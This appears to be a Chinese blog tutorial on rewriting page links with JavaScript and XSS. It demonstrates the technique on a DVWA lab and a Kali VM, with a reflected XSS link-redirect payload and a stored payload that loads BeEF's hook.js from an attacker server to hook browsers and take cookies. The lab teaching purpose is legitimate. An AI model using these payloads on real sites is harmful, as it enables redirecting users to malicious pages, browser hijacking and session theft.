一、JS代码实现篡改示例
如下代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<center>
<a href="http://www.baidu.com/" target="_blank">百度1</a>
<a href="http://www.baidu.com/" target="_blank">百度2</a>
<a href="http://www.baidu.com/" target="_blank">百度3</a>
<a href="http://www.baidu.com/" target="_blank">百度4</a>
<a href="http://www.baidu.com/" target="_blank">百度5</a>
</center>
</body>
</html>
所有的链接点击后都指向百度,
我们加入如下js代码:
<script>
window.onload = function(){ // 在网页加载时执行该匿名函数
var link = document.getElementsByTagName("a"); // 查找所有的a标签
for(i=0;i<link.length;i++){ // 遍历所有a标签
link[i].href = "https://cn.bing.com/"; // 将每一个a标签的链接修改
}
}
</script>
再次打开网页,所有的链接再点击后都会指向微软bing主页!
二、XSS 篡改链接
以dvwa示例:
f12调出控制台,查看a标签中的链接都是正常的,页面也都可以正常跳转!
payload:
?name=<script>window.onload = function(){var link = document.getElementsByTagName("a");for(i=0;i<link.length;i%2b%2b){link[i].href = "https://www.baidu.com/";}}</script>
调出控制台看一下:
可以看到,所有a标签中的链接地址都变成了https://www.baidu.com/
,只要点击就跳转至百度主页!篡改成功!
三、篡改链接指向恶意URL
3.1 Beef-XSS 简介
Beef-XSS是一款非常强大的web框架攻击平台,集成了许多payload
安装beef
我的是安装在虚拟机kali下的
apt-get update
apt-get install beef-xss
apt --fix-broken install
输入beef-xss,会让我们设置用户名和密码,之后登陆即可:
也可以通过http://ip:3000/ui/authentication来访问主面板。
3.2 反射型xss利用
我们将kali linux部署为服务器,设置一个恶意页面
开启apache服务:
我们编写一个测试.html页面,在其中插入hook.js,构建一个恶意url!将其放在kali跟目录下。
使用主机访问:
构建反射型xss:
?name=<script>window.onload = function(){var link = document.getElementsByTagName("a");for(i=0;i<link.length;i%2b%2b){link[i].href = "kali下的测试.html";}}</script>
再点击页面上的任意链接就会跳转至我们所构造的恶意网页了!
在beef中我们也可以看到受害主机!
3.2存储型xss利用
使用Beef 进行恶意链接生成,以及利用hook.js执行其他命令。
<script src="http://ip:3000/hook.js"></script>
将恶意链接注入到带有XSS漏洞的页面
提交后靶机的浏览器就被beef钩住了:
可以查看各种信息
选择"Brower"下面的"Hooked Domain"的create Alert Dialog(弹窗 ),点击右下角的"execute"运行。
在win10主机上就可以看到弹窗
此外还可以获取cookie:
执行getcookie操作即可拿到当前的cookie
今天就先总结到这里!
四、参考链接:
https://blog.csdn.net/qq_40929683/article/details/119892467
https://blog.csdn.net/qq_45884195/article/details/107136606